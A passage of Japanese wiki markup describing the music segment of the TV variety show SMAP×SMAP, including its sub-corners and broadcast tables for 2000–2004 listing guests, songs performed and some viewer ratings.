: 番組初期は、ゲスト参加型の場合、ゲストの楽曲をSMAPが歌う → [[3次元コンピュータグラフィックス|3DCG]]で出てくるものにさらわれる → ゲストが登場して楽曲を歌う → ゲストが指を鳴らしてSMAPを出し、さらに最後は楽曲をゲストとSMAPのセッションで歌い、CMの後にゲストがSMAPとトークする(しない場合もある)といった構成だったが、近年はゲストの楽曲をSMAPのみで歌うことなく、最初からゲストとコラボでセッションした後にトークを放送する構成になっている。ゲストによっては、SMAPの楽曲もゲストとコラボで披露する場合もある。
: SMAPの歌のみの場合は、視聴者から送られてくるお便りを基にトーク(時にはフリートーク)をして、最後に曲紹介をして歌に移るという構成だった。以前は、提供クレジットの際にSMAPが[[ジェンガ]]などのゲームをし、負けた人がお便りを選ぶなどといった形でトークを始めていたが、ゲームをやらずに必ず中居がお便りを読んでトークを始める構成に変わっていった(また、トーク時のBGMはアルバム『[[Smappies]]』シリーズから多数使われている)。2005年3月以降、ゲストとのセッションが大幅に増えたため、SMAP5人での歌・トークが激減した。2006年8月以降、再びSMAP5人での歌・トークが増えたが、2007年3月以降はSMAP5人での歌・トークが再び激減し、最長で2008年9月22日以降、翌年2009年9月7日まで約1年間トークが無かった。2015年時点では、5人でのトークはシングルやアルバムの発売日前後以外では、ほとんど行われない上に放送時間も短く、内容も新曲の販売形態などに言及したものが多い。
: 番組末期では、シングルやアルバムの発売日前後以外でSMAPの楽曲を披露する機会は少なく<ref group="注">2016年<!--SMAP解散騒動以降-->は最終回まで、SMAPの楽曲を披露することはなかった。</ref>、ゲストを迎えてゲストの楽曲をSMAPとコラボして歌うことがほとんどである。トークは収録されるが放送時間は短く、放送されない場合もある。その場合は『[[ベビスマ]]』で未公開として放送されることもあるが、放送されずお蔵入りになるものもある。
:[[1996年]][[5月27日]]放送は森の脱退前最後の出演。同日は森が選曲したメドレーを披露した後、メンバーそれぞれがメッセージを述べた。
:[[2000年]]から不定期に放送されていた「メモリッピーズ」は、先に歌を放送し、その後にトーク(「選曲したのは誰か」や「その曲にまつわる思い出」など)を放送する構成だったが、先にトーク(メンバーが視聴者から送られて来るテーマに沿って選曲したり、テーマと共に送られてくる質問に答えるなど)を放送し、その後に歌を放送する構成に変わっていった。元々は視聴者からテーマが送られてくるコーナーではなかったが、いつしか視聴者からテーマが送られてくるようになった。視聴者から送られてくるテーマは2004年3月までは、SMAP以外のアーティストの楽曲も選曲出来るようなテーマだったが、3月に放送した[[SMAP 016/MIJ|トイレットペッパーマン]]をきっかけにSMAPの楽曲に限定したテーマが送られてくるようになった。
:[[2002年]]1月から3月まで視聴者があるテーマに沿って、SMAPの楽曲をリクエストし、リクエストが多かった曲を歌う「スマリク」というコーナーが放送された。今までに歌われた楽曲は以下の通り。
:#[[オリジナル スマイル]](テーマ「朝起きて一番に聞きたい SMAP SONG」1月28日放送)
:#[[If You Give Your Heart]](テーマ「アンケートで、BEST3には入らないけど満遍なくBEST10にランクインしている曲」2月4日放送)
:#[[セロリ (曲)|セロリ]](テーマ「疲れた心を癒してくれるSMAP SONG」2月11日放送)
:#[[Can't Stop!! -LOVING-]](テーマ「TVであまり見た事はないけれど是非見てみたいSMAP SONG」2月18日放送)
:#[[どんないいこと]](テーマ「帰り道思わず口ずさんでしまうSMAP SONG」3月11日放送)
:#[[BIRDMAN〜SMAP 013|Five True Love]](テーマ「振付けを是非見てみたい SMAP SONG」3月18日放送)
:
:[[2004年]][[10月25日]]、11月8日〜11月29日に、5夜限定歌企画「Five Night Classics」を放送。このコーナーは「メモリッピーズ」とほぼ同じ構成だが、選曲するのはただ一人のみ。今までに歌われた楽曲は以下の通り。
:# どんないいこと(選曲者は香取慎吾 10月25日放送)
:#[[たいせつ (SMAPの曲)|たいせつ]](選曲者は草彅剛 11月8日放送)
:# オリジナル スマイル(選曲者は稲垣吾郎 11月15日放送)
:#[[世界に一つだけの花]](選曲者は木村拓哉 11月22日放送)
:#[[らいおんハート|オレンジ]](選曲者は中居正広 11月29日放送)
:
:[[2005年]]5月に、SMAPメンバーの生まれた1970年代の楽曲をSMAPとゲストがセッションするコーナー「Respect 70's」が誕生。ゲストとのトークの後にゲストとのセッションを放送するといった構成。2006年4月に派生版である「Respect 80's」が誕生。さらには2007年7月に「Respect 90's」が誕生。
:[[2007年]][[2月12日]]に「SMAP season song」が誕生。「スマリク」と同じ要領のコーナー。今までに歌われた楽曲は以下の通り。
:# オレンジ(テーマ「冬に聴きたいSMAP SONG」2月12日放送)
:#[[夜空ノムコウ]](テーマ「冬に聴きたいSMAP SONG」2月19日放送)
:# オリジナル スマイル(テーマ「春に聴きたいSMAP SONG」3月5日放送)
:# どんないいこと(テーマ「秋に聴きたいSMAP SONG」10月15日放送)
:# 夜空ノムコウ(テーマ「冬に聴きたいSMAP SONG」2009年1月19日放送)
:#[[雪が降ってきた]](テーマ「冬に聴きたいSMAP SONG」2月2日放送)
:
: [[7月23日]]には「夏に聴きたいSMAP SONG」と題し「[[BANG! BANG! バカンス!]]」を歌った(なお、「夏に聴きたいSMAP SONG」のリクエストは行われていない)。また、12月から翌年2008年3月まで「冬に聴きたいSMAP SONG」、4月から6月まで「春に聴きたいSMAP SONG」7月から10月まで「夏に聴きたいSMAP SONG」、10月に「秋に聴きたいSMAP SONG」のリクエストを行っていたが放送されておらず、10月中旬から「冬に聴きたいSMAP SONG」のリクエストが行われていた。
:[[2016年]][[2月8日]]から「S-Live」内で、新コーナー「スマラブ」がスタート<ref>{{Cite web|和書|url= https://www.oricon.co.jp/news/2065833/full/ |title= SMAP、5人で「涙のキッス」歌う 会見後初収録の模様が放送 ネット上で歓喜の声|publisher= オリコンスタイル |date= 2016-02-08 |accessdate= 2016-02-08 }}</ref>。ある1人のメンバーの好きな楽曲をメンバー5人が歌唱する。以前から放送されていた「メモリッピーズ」と近い構成ではあるものの、5人でのトークが行われずにメンバー1人がその楽曲にまつわる思い入れを語る点などがやや異なる。今までに歌われた楽曲は以下の通り。
:#[[涙のキッス]](選曲者は草彅剛 2016年2月8日放送)
:#[[真夏のストレート/天国うまれ#収録曲|天国うまれ]](選曲者は香取慎吾 2016年5月2日放送)
:#[[EAST ASIA#収録曲|糸]](選曲者は稲垣吾郎 2016年6月13日放送)
==== 放送リスト ====
{| class="wikitable mw-collapsible mw-collapsed" style="width:100%;text-align:center;font-size:small"
|- align="center"
! colspan="6" |2000年
|-
!回!!放送日時!!ゲスト
!歌唱楽曲!!備考!!視聴率
|-
!
|1月3日||
|[[Let It Be (SMAPの曲)|Let It Be]]
|
|20.7%
|-
!
|1月10日
|
|プロモゲリラ「Let It Be」
|
|23.5%
|-
!
|1月17日
|
|Let It Be
|
|25.1%
|-
!
|1月24日||
|Let It Be||
|-
!
|1月31日
|
|Let It Be
|
|-
!
|2月7日
|
|Let It Be
|
|-
!
|2月14日
|
|Let It Be
|
|-
!
|2月21日
|
|Let It Be
|
|-
!
|2月28日
|[[角松敏生]]
|[[You're My Only Shinin' Star]] / [[The gentle sex|君という名の僕におしえたい]] / [[たいせつ (SMAPの曲)|たいせつ]]
|
|-
!
|3月6日
|
|Let It Be (Dance Dance Revolution Sma2000)
|
|-
!
|3月13日
|
|Let It Be
|
|-
!
|4月3日
|[[PUFFY]]
|[[これが私の生きる道]] / [[海へと/プールにて|海へと]] / [[MOTHER/ネホリーナハホリーナ|MOTHER]] / [[愛のしるし]] / [[アジアの純真]]
|
|-
!
|4月10日
|[[松山千春]]
|[[夜空ノムコウ]] / 君に / [[長い夜 (松山千春の曲)|長い夜]]
|
|-
!
|4月17日
|[[髙橋真梨子]]
|[[ジョニィへの伝言]] / 幸せのかたち / [[桃色吐息]]
|
|-
!
|4月24日
|
|Let It Be (Dance Dance Revolution Sma2000)
|
|-
!
|5月1日
|
|Let It Be
|
|-
!
|5月8日
|
|[[俺たちに明日はある]]
|
|-
!
|5月15日
|[[来生たかお]]
|[[夢の途中 (来生たかおの曲)|夢の途中]] / Goodbye Day / Let It Be
|
|-
!
|5月22日
|
|[[青いイナズマ]]
|
|-
!
|5月29日
|[[BEGIN (バンド)|BEGIN]]
|[[恋しくて (BEGINの曲)|恋しくて]] / [[空に星があるように]] / [[どんないいこと]]
|
|-
!
|6月5日
|
|[[Marionette (BOØWYの曲)|MARIONETTE]] (稲垣選曲)
|
|-
!
|6月12日
|
|[[君がいるだけで/愛してる|愛してる]] (草彅選曲)
|
|-
!
|6月19日
|[[小田和正]]
|[[ラブ・ストーリーは突然に]] / [[woh woh]] / [[さよなら (オフコースの曲)|さよなら]] / [[Yes-No]]
|
|-
!
|7月3日
|
|[[およげ!たいやきくん]] (木村選曲)
|
|-
!
|7月17日
|
|[[ルージュの伝言]] (香取選曲)
|
|-
!
|7月24日
|
|[[らいおんハート]]
|
|-
!
|7月31日
|
|[[想い出がいっぱい]] (草彅選曲)
|
|-
!
|8月7日
|
|[[キスしてほしい|チェインギャング]] (中居選曲)
|
|-
!
|8月14日
|
|[[慎吾ママのおはロック]] (慎吾ママ)
|
|-
!
|8月21日
|[[kiroro]]
|[[未来へ (Kiroroの曲)|未来へ]] / [[涙にさよなら]] / [[SHAKE (SMAPの曲)|SHAKE]]
|
|-
!
|8月28日
|
|らいおんハート
|
|-
!
|9月4日
|
|[[オリジナル スマイル]]
|
|-
!
|9月11日
|
|[[ダイナマイト (SMAPの曲)|ダイナマイト]]
|
|-
!
|10月2日
|[[浜崎あゆみ]]
|[[SEASONS (浜崎あゆみの曲)|SEASONS]] / [[SURREAL]] / [[Far away (浜崎あゆみの曲)|Far away]] / [[Vogue (浜崎あゆみの曲)|vogue]] / [[Fly high (浜崎あゆみの曲)|Fly high]] / [[WHATEVER (浜崎あゆみの曲)|WHATEVER]] / Fly high
|
|-
!
|10月9日
|[[ジェームス・ブラウン]]
|I Got You(I Feel Good) / Sex Machine / SHAKE / Living in America
|
|-
!
|10月16日
|
|らいおんハート
|
|-
!
|10月30日
|
|らいおんハート
|
|-
!
|11月6日
|[[リッキー・マーティン]]
|[[リヴィン・ラ・ヴィダ・ロカ|Livin' la Vida Loca]] / She Bangs
|
|-
!
|11月13日
|
|らいおんハート
|
|-
!
|11月20日
|[[杉山清貴]]
|[[さよならのオーシャン]] / 君の休日 / [[君色思い]]
|
|-
!
|11月27日
|[[吉川晃司]]
|[[BE MY BABY]] / ナイフ / [[$10 (曲)|$10]]
|
|-
!
|12月4日
|
|[[ビートルズ|THE BEATLES]] × SMAP
[[ツイスト・アンド・シャウト|Twist And Shout]] / [[イエスタデイ (ビートルズの曲)|Yesterday]] / [[ヘルプ! (ビートルズの曲)|Help!]] / [[イン・マイ・ライフ (代表的なトピック)|In My Life]]<!-- 「WP:CARMEN」に基づく内部リンクの設定ですので、変更しないでください。 --> / [[オブ・ラ・ディ、オブ・ラ・ダ|Ob-La-Di, Ob-La-Da]] / [[レット・イット・ビー (曲)|Let It Be]]
|
|-
!
|12月11日
|
|らいおんハート
|
|-
!
|12月25日
|
|[[雪が降ってきた]] / [[S map〜SMAP 014|愛の灯~君とメリークリスマス~]]
|
|}
{| class="wikitable mw-collapsible mw-collapsed" style="width:100%;text-align:center;font-size:small"
|- align="center"
! colspan="5" |2001年
|-
!回!!放送日時!!ゲスト
!歌唱楽曲!!備考
|-
!
|1月8日||
|[[SHAKE (SMAPの曲)|SHAKE]] / [[Let It Be (SMAPの曲)|Let It Be]] / [[青いイナズマ]]
|
|-
!
|1月15日
|[[奥田民生]]
|[[CAR SONGS OF THE YEARS|And I Love Car]] / [[イージュー★ライダー]] / [[サーキットの娘]] / [[俺たちに明日はある]]
|
|-
!
|1月22日
|
|[[らいおんハート|オレンジ]]||
|-
!
|1月29日||
|[[S map〜SMAP 014|You're My Love]]||
|-
!
|2月5日
|
|[[S map〜SMAP 014|ジャラジャラJAPAN ~ for the Japanese]]
|
|-
!
|2月12日
|[[相川七瀬]]
|[[恋心 (相川七瀬の曲)|恋心]] / [[BREAK OUT! (相川七瀬の曲)|BREAK OUT!]] / [[〜dandelion〜|~dandelion~]] / [[ダイナマイト (SMAPの曲)|ダイナマイト]]
|
|-
!
|2月19日
|
|[[S map〜SMAP 014|STOP!]]
|
|-
!
|2月26日
|
|[[上を向いて歩こう|SUKIYAKI]] (香取選曲)
|
|-
!
|3月5日
|
|[[SOMEDAY (佐野元春の曲)|SOMEDAY]] (稲垣選曲)
|
|-
!
|3月12日
|[[沢田研二]]
|[[ス・ト・リ・ッ・パ・ー|ス・ト・リ・ッ・パ・-]] / [[6番目のユ・ウ・ウ・ツ]] / [[勝手にしやがれ (沢田研二の曲)|勝手にしやがれ]] / [[カサブランカ・ダンディ]] / [[恋のバッド・チューニング]] / [[TOKIO (沢田研二の曲)|TOKIO]]
|
|-
!
|3月19日
|
|[[Smap Vest]] リリース記念メドレー
[[夜空ノムコウ]] / [[しようよ (曲)|しようよ]] / [[はだかの王様 〜シブトクつよく〜|はだかの王様 ~シブトクつよく~]]
|
|-
!
|4月2日
|
|Smap Vest Special
[[どんないいこと]] / [[たぶんオーライ]] / [[$10 (曲)|$10]]
|
|-
!
|4月16日
|[[CHAGE&ASKA]]
|[[ロケットの樹の下で]] / [[らいおんハート]]
|
|-
!
|4月30日
|[[小柳ゆき]]
|beautiful world / [[愛情/can't hold me back|愛情]] / 青いイナズマ / [[be alive]]
|
|-
!
|5月14日
|
|[[翼をください]]
|
|-
!
|5月21日
|
|[[今夜はブギー・バック]]
|
|-
!
|5月28日
|
|[[あの素晴しい愛をもう一度]]
|
|-
!
|6月4日
|
|[[みんなのうた (サザンオールスターズの曲)|みんなのうた]]
|
|-
!
|6月11日
|
|[[真夏の果実]] (木村選曲)
|
|-
!
|6月18日
|[[平井堅]]
|[[楽園 (平井堅の曲)|楽園]] / [[KISS OF LIFE (平井堅の曲)|KISS OF LIFE]] / らいおんハート
|
|-
!
|6月25日
|
|[[青空 (THE BLUE HEARTSの曲)|青空]] (中居選曲)
|
|-
!
|7月9日
|
|[[グリーングリーン]]
|
|-
!
|7月16日
|[[長渕剛]]
|[[巡恋歌]] / [[とんぼ (長渕剛の曲)|とんぼ]] / [[空/SORA]]
|
|-
!
|7月23日
|
|[[Smac]]
|
|-
!
|7月30日
|
|Smac
|
|-
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|8月6日
|
|Smac
|
|-
!
|8月13日
|
|Smac
|
|-
!
|8月20日
|
|Smac
|
|-
!
|10月8日
|
|DANCE SPECIAL~from "pamS Tour"
|
|-
!
|10月15日
|
|[[オリジナル スマイル|Major]] [[PamS|(2001 version)]]
|
|-
!
|10月22日
|
|オレンジ
|
|-
!
|10月29日
|[[松たか子]]
|[[コイシイヒト]] / [[花のように]] / SHAKE
|
|-
!
|11月5日
|
|[[たいせつ_(SMAPの曲)|恋の形]] [[PamS|(2001 version)]]
|
|-
!
|11月12日
|
|[[元気を出して]]
|
|-
!
|11月19日
|
|[[がんばりましょう|君と僕の6ヶ月]]
|
|-
!
|11月26日
|
|[[気球にのってどこまでも]]
|
|-
!
|12月3日
|
|[[SMAP 008 TACOMAX|それじゃまた]]
|
|-
!
|12月10日
|
|[[SMAP 012 VIVA AMIGOS!|言えばよかった]]
|
|-
!
|12月17日
|[[レニー・クラヴィッツ]]
|[[自由への疾走|Are You Gonna Go My Way]] / Stand by My Woman
|
|-
!
|12月24日
|
|クリスマスソングスペシャル
[[きよしこの夜|Silent night]] / [[WE WISH YOU A MERRY CHRISTMAS|We Wish You A Merry Christmas]] / らいおんハート
|
|}
{| class="wikitable mw-collapsible mw-collapsed" style="width:100%;text-align:center;font-size:small"
|- align="center"
! colspan="6" |2002年
|-
!回!!放送日時!!ゲスト
!歌唱楽曲!!備考!!視聴率
|-
!
|1月7日||
|[[負けるなBaby! 〜Never give up|BEST FRIEND]]
|
|-
!
|1月14日
|
|BEST FRIEND / [[夜空ノムコウ]] / [[SHAKE (SMAPの曲)|SHAKE]]
|
|34.2%
|-
!
|1月21日
|
|[[Smac]]||
|31.7%
|-
!
|1月28日||
|[[オリジナル スマイル]]||
|-
!
|2月4日
|
|[[If You Give Your Heart]] ([[稲垣吾郎|Goro Inagaki]])
|
|-
!
|2月11日
|
|[[セロリ (曲)|セロリ]]
|
|-
!
|2月18日
|
|[[Can't Stop!! -LOVING-]]
|
|-
!
|2月25日
|[[鬼束ちひろ]]
|[[Infection/LITTLE BEAT RIFLE|LITTLE BEAT RIFLE]] / [[月光 (鬼束ちひろの曲)|月光]] / [[Fly (SMAPの曲)|Fly]]
|
|-
!
|3月4日
|
|[[君に、胸キュン。]]
|
|-
!
|3月11日
|
|[[どんないいこと]]
|
|-
!
|3月18日
|
|[[BIRDMAN〜SMAP 013|Five True Love]]
|
|-
!
|4月1日
|[[長渕剛]]
|[[とんぼ (長渕剛の曲)|とんぼ]] [再]
|
|-
!
|4月15日
|
|[[freebird]]
|
|-
!
|4月22日
|
|freebird
|
|-
!
|5月6日
|
|freebird (Music Video)
|
|-
!
|5月13日
|
|freebird
|
|-
!
|5月20日
|
|freebird
|
|-
!
|5月27日
|
|freebird
|
|-
!
|6月3日
|[[CHEMISTRY]]
|[[PIECES OF A DREAM]] / [[Let's Get Together Now]] /
[[君をさがしてた 〜New Jersey United〜|君をさがしてた ~New Jersey United~]] / [[俺たちに明日はある]]
|
|-
!
|6月10日
|[[近藤真彦|MATCHY]]
|ヨイショ!'02 ~日本の皆さんホメていきまショー~ / [[夕焼けの歌]] / [[Baby Rose]]
|
|-
!
|6月17日
|
|freebird
|
|-
!
|6月24日
|
|愛の唄 ~チョルマン サランヘヨ~ ([[チョナン・カン]])
|
|-
!
|7月8日
|
|[[Freebird|Song 2 ~the sequel to that~]]
|
|-
!
|7月15日
|
|freebird (青空編)
|
|-
!
|7月22日
|
|[[SMAP 015/Drink! Smap!|People Song ~みんなのうた~]]
|
|-
!
|7月29日
|
|愛の唄 ~チョルマン サランヘヨ~ (チョナン・カン)
|
|-
!
|8月5日
|
|[[世界に一つだけの花]]
|
|-
!
|8月12日
|
|[[SMAP 015/Drink! Smap!|Jive]]
|
|-
!
|8月19日
|
|[[SMAP 015/Drink! Smap!|GO NOW!]]
|
|-
!
|8月26日
|
|[[SMAP 015/Drink! Smap!|Over Flow]]
|
|-
!
|9月2日
|[[aiko]]
|[[あなたと握手]] / [[花火 (aikoの曲)|花火]] / セロリ
|
|-
!
|9月9日
|
|[[SMAP 015/Drink! Smap!|FIVE RESPECT]]
|
|-
!
|9月23日
|[[かまやつひろし|ムッシュかまやつ]] & [[小西康陽]]
|ソー・ロング20世紀 / [[バン・バン・バン|バンバンバン]] / [[ノー・ノー・ボーイ (ザ・スパイダースの曲)|ノーノーボーイ]] / やつらの足音のバラード
|
|-
!
|10月7日
|[[エルヴィス・プレスリー|ELVIS PRESLEY]]
|脱獄ロック / [[ハウンド・ドッグ (曲)|ハウンド・ドッグ]] / [[冷たくしないで]] / [[ラヴ・ミー・テンダー (エルヴィス・プレスリーの曲)|ラブ・ミー・テンダー]] /
ア・リトル・レス・カンヴァセーション / [[好きにならずにいられない]]
|
|-
!
|10月14日
|
|[[SMAP 015/Drink! Smap!|幸せの果てに]]
|
|-
!
|10月21日
|[[中島美嘉]]
|[[WILL (中島美嘉の曲)|WILL]] / [[しようよ (曲)|しようよ]]
|
|-
!
|10月28日
|
|Drink! Smap! Solo Medley [[SMAP 015/Drink! Smap!|時間よとまれ]] (稲垣吾郎) / [[SMAP 015/Drink! Smap!|It Can't Be]] (香取慎吾) / [[SMAP 015/Drink! Smap!|ずっとずっと]] (木村拓哉)
|
|-
!
|11月4日
|
|世界に一つだけの花 [再]
|
|-
!
|11月11日
|[[シェリル・クロウ|sheryl crow]]
|[[ソーク・アップ・ザ・サン|Soak Up The Sun]]
|
|-
!
|11月18日
|[[the brilliant green]]
|[[Peace! (SMAPの曲)|Peace!]] / [[There will be love there -愛のある場所-|There will be love there ~愛のある場所~]] / [[I'M SO SORRY BABY|I'm so sorry baby]] / Peace!
|
|-
!
|11月25日
|[[藤井フミヤ]]
|[[女神 (藤井フミヤの曲)|女神(エロス)]] / [[TRUE LOVE (藤井フミヤの曲)|TRUE LOVE]] / [[ダイナマイト (SMAPの曲)|ダイナマイト]]
|
|-
!
|12月2日
|[[久保田利伸]]
|[[LA・LA・LA LOVE SONG]] ~ Only For Midnight Lovers
|
|-
!
|12月16日
|[[KICK THE CAN CREW]]
|[[アンバランス (KICK THE CAN CREWの曲)|アンバランス]] / [[地球ブルース~337~/DJDJ [for RADIO]|地球ブルース~337~]] / ダイナマイト
|
|-
!
|12月23日
|[[坂本龍一]]
|[[戦場のメリークリスマス]] / 夜空ノムコウ
|
|-
!
|12月30日
|
|freebird
|
|}
{| class="wikitable mw-collapsible mw-collapsed" style="width:100%;text-align:center;font-size:small"
|- align="center"
! colspan="5" |2003年
|-
!回!!放送日時!!ゲスト
!歌唱楽曲!!備考
|-
!
|1月13日||
|[[世界に一つだけの花]]
|
|-
!
|1月20日
|
|世界に一つだけの花
|
|-
!
|1月27日
|
|世界に一つだけの花||
|-
!
|2月3日||
|世界に一つだけの花 (LIVE version)||
|-
!
|2月10日
|
|世界に一つだけの花
|
|-
!
|2月17日
|
|世界に一つだけの花 (シングル・ヴァージョン)
|
|-
!
|2月24日
|
|世界に一つだけの花 (シングル・ヴァージョン)
|
|-
!
|3月3日
|[[宇多田ヒカル]]
|[[Wait & See 〜リスク〜|Wait & See ~リスク~]] / [[Hey Hey おおきに毎度あり]] / [[COLORS (宇多田ヒカルの曲)|COLORS]] / [[Automatic/time will tell|Automatic]] /
[[Can You Keep A Secret?]] / [[traveling (宇多田ヒカルの曲)|traveling]] / [[Movin' on without you|Movin'on without you]] / traveling
|
|-
!
|3月10日
|
|世界に一つだけの花 (シングル・ヴァージョン)
|
|-
!
|3月17日
|
|世界に一つだけの花 (シングル・ヴァージョン)
|
|-
!
|3月31日
|[[槇原敬之]]
|[[どんなときも。]] / [[Wow (槇原敬之の曲)|Wow]] / 世界に一つだけの花
|
|-
!
|4月14日
|
|世界に一つだけの花 (振付完全保存ver.)
|
|-
!
|4月21日
|
|世界に一つだけの花 (シングル・ヴァージョン)
|
|-
!
|4月28日
|[[石井竜也]]
|[[浪漫飛行]]
|
|-
!
|5月5日
|
|世界に一つだけの花 (シングル・ヴァージョン)
|
|-
!
|5月19日
|[[久石譲]]
|Silence / a wish to the Moon / [[君をのせて (井上あずみの曲)|君をのせて]] / 世界に一つだけの花
|
|-
!
|5月26日
|
|[[世界に一つだけの花|僕は君を連れてゆく]]
|
|-
!
|6月2日
|
|[[雨 (森高千里の曲)|雨]] (稲垣選曲)
|
|-
!
|6月9日
|
|[[Can't Stop!! -LOVING-|SMAP No.5]] (香取選曲)
|テーマ「夏」
|-
!
|6月16日
|
|[[未完成 (山崎まさよしの曲)|未完成]] / [[セロリ (曲)|セロリ]]
|
|-
!
|6月23日
|
|[[SMAP 016/MIJ|UNPOSTED LETTER]]
|
|-
!
|6月30日
|
|[[SMAP 016/MIJ|愛と勇気]]
|
|-
!
|7月14日
|
|[[SMAP 016/MIJ|SUMMER GATE]]
|
|-
!
|7月21日
|[[織田裕二]]
|[[Love Somebody|LOVE SOMEBODY]]
|
|-
!
|7月28日
|
|[[SMAP 016/MIJ|夏日憂歌]]
|
|-
!
|8月4日
|
|[[SMAP 016/MIJ|ススメ!]]
|
|-
!
|8月11日
|
|[[SMAP 016/MIJ|A Song For Your Love]]
|
|-
!
|8月18日
|[[大黒摩季]]
|[[夏が来る]] / [[KANSHAして]] / [[夏が来る、そして…]] / [[ら・ら・ら]]
|
|-
!
|8月25日
|
|[[SMAP 016/MIJ|Flapper]]
|
|-
!
|9月1日
|[[今井美樹]]
|[[PRIDE (今井美樹の曲)|PRIDE]] / [[PIECE OF MY WISH]] / [[Ruby (今井美樹の曲)|Ruby]]
|
|-
!
|9月8日
|
|[[SMAP 016/MIJ|世界に一つだけの花 (organ version)]]
|
|-
!
|9月15日
|
|MIJスペシャル
|
|-
!
|9月22日
|[[森山良子]] & [[夏川りみ]]
|smile / [[涙そうそう]]
|
|-
!
|10月13日
|
|[[Ya Ya (あの時代を忘れない)]] (草彅選曲)
|
|-
!
|10月20日
|
|[[らいおんハート|オレンジ]] (木村選曲)
|
|-
!
|10月27日
|[[綾戸智恵]]
|[[らいおんハート]]
|
|-
!
|11月3日
|
|[[銀河鉄道999 (ゴダイゴの曲)|銀河鉄道999]] (稲垣選曲)
|
|-
!
|11月10日
|[[忌野清志郎]]
|[[スローバラード]] / WANTED
|
|-
!
|11月17日
|
|[[THE BLUE HEARTS (アルバム)|終わらない歌]] (香取選曲)
|
|-
!
|11月24日
|
|[[チェリー (曲)|チェリー]] (草彅選曲)
|
|-
!
|12月1日
|
|[[雪が降ってきた]] (中居選曲)
|
|-
!
|12月8日
|
|[[Blow'in in the wind|Blow'in In The Wind]] (木村選曲)
|
|-
!
|12月22日
|[[女子十二楽坊]]
|[[ホワイト・クリスマス (曲)|White Christmas]] / 世界に一つだけの花
|
|-
!
|12月29日
|[[モーニング娘。]]
|[[Go Girl 〜恋のヴィクトリー〜|Go Girl~恋のヴィクトリー~]] / [[恋愛レボリューション21]] / [[Do it! Now]] / [[ミニモニ。ジャンケンぴょん!/春夏秋冬だいすっき!|ミニモニ。ジャンケンぴょん!]] /
[[Mr.Moonlight 〜愛のビッグバンド〜|Mr.Moonlight ~愛のビッグバンド~]] / [[ザ☆ピ〜ス!|ザ☆ピ~ス!]] / [[LOVEマシーン]]
|
|}
{| class="wikitable mw-collapsible mw-collapsed" style="width:100%;text-align:center;font-size:small"
|- align="center"
! colspan="6" |2004年
|-
!回!!放送日時!!ゲスト
!歌唱楽曲!!備考!!視聴率
|-
!
|1月19日||[[BoA]]
|[[LISTEN TO MY HEART]] / [[Rock With You (BoAの曲)|Rock With You]] / [[らいおんハート]]
|
|-
!
|1月26日
|
|[[バンザイ 〜好きでよかった〜|バンザイ ~好きでよかった~]] (稲垣選曲)
|テーマ「HAPPY SONG!」
|-
!
|2月2日
|
|[[陽はまたのぼりくりかえす]] (香取選曲)||テーマ「車の中でよく聴く曲」
|-
!
|2月9日||
|[[抱きしめたい (Mr.Childrenの曲)|抱きしめたい]] (草彅選曲)||テーマ「とっておきのラブソング」
|-
!
|2月16日
|
|[[Tomorrow never knows (Mr.Childrenの曲)|Tomorrow never knows]] (木村選曲)
|テーマ「自分を奮い立たせる曲」
|-
!
|2月23日
|[[CHEMISTRY]]
|[[My Gift to You]] / [[freebird]] / [[So in Vain]]
|
|-
!
|3月1日
|
|[[SMAP 016/MIJ|トイレットペッパーマン]] (中居選曲)
|テーマ「モーニングSONG」
|-
!
|3月15日
|
|[[Wonderful Life (&Gの曲)|Wonderful Life]] ([[稲垣吾郎|&G]])
|
|-
!
|3月22日
|[[海援隊 (フォークグループ)|海援隊]]
|[[贈る言葉]]
|
|-
!
|4月5日
|[[DREAMS COME TRUE]]
|[[やさしいキスをして]] / [[SHAKE (SMAPの曲)|SHAKE]] / [[未来予想図II|未来予想図Ⅱ]]
|
|-
!
|4月19日
|
|[[SMAP 012 VIVA AMIGOS!|ひと駅歩こう]] (香取選曲)
|テーマ「5人で歌うSMAPソロ曲」
|-
!
|5月3日
|
|
|
|21.6%
|-
!
|5月10日
|
|[[SMAP 001|さよならの恋人]] (草彅選曲)
|テーマ「思い出深いSMAPアルバム曲」
|18.0%
|-
!
|5月17日
|
|[[SMAP 011 ス|ココニイルコト]] (木村選曲)
|テーマ「SMAPのカタカナ曲」
|20.1%
|-
!
|5月24日
|
|
|
|19.4%
|-
!
|5月31日
|
|[[SMAP 003|Scarface Groove]] (稲垣選曲)
|テーマ「SMAPラップ曲」
|19.2%
|-
!
|6月7日
|
|[[La Festa|HĀ]] (香取選曲)
|テーマ「思わず口ずさむSMAP曲」
|17.9%
|-
!
|6月14日
|
|[[世界に一つだけの花|僕は君を連れてゆく]] (草彅選曲)
|テーマ「My Best カップリング曲」
|19.6%
|-
!
|6月21日
|
|[[SMAP 001|Subway Kids]] (中居選曲)
|テーマ「最高にテンションが上がるSMAP曲」
|-
!
|6月28日
|
|Wonderful Life
|
|-
!
|7月5日
|
|[[オリジナル スマイル|Major]] (稲垣選曲)
|テーマ「夏の夜にピッタリなSMAP曲」
|-
!
|7月12日
|
|[[S map〜SMAP 014|shiosai]] (木村選曲)
|
|-
!
|7月26日
|
|[[BIRDMAN〜SMAP 013|living large]] (香取選曲)
|テーマ「オープンカーが似合うSMAP曲」
|-
!
|8月2日
|
|[[SMAP 006〜SEXY SIX〜|My Childhood Friend ~鏡の中のRadio]] (草彅選曲)
|テーマ「夏が似合うSMAPラブソング」
|-
!
|8月9日
|
|[[SMAP 016/MIJ|sunrise, sunshine]] (稲垣選曲)
|テーマ「夏の家にオススメのSMAP曲」
|-
!
|8月23日
|
|[[HATTORI³]] ([[香取慎吾|ハットリくん]])
|
|-
!
|9月6日
|
|[[正義の味方はあてにならない]] (中居選曲)
|
|-
!
|9月13日
|
|[[君は君だよ]] (草彅選曲)
|
|-
!
|9月27日
|[[ピンク・レディー]]
|[[UFO (ピンク・レディーの曲)|UFO]] / [[ウォンテッド (指名手配)|ウォンテッド]] / [[サウスポー (ピンク・レディーの曲)|サウスポー]] / [[S・O・S]] /
[[渚のシンドバッド]] / [[ダイナマイト (SMAPの曲)|ダイナマイト]] / [[ペッパー警部]]
|
|-
!
|10月11日
|
|[[SMAP 008 TACOMAX|Slicker's Blues]] (香取選曲)
|
|-
!
|10月18日
|
|[[SMAP 001|天国のかけら]] (稲垣選曲)
|
|-
!
|10月25日
|
|[[どんないいこと]]
|Five Night Classic's 第1夜 (香取選曲)
|-
!
|11月8日
|
|[[たいせつ (SMAPの曲)|たいせつ]]
|Five Night Classic's 第2夜 (草彅選曲)
|-
!
|11月15日
|
|[[オリジナル スマイル]]
|Five Night Classic's 第3夜 (稲垣選曲)
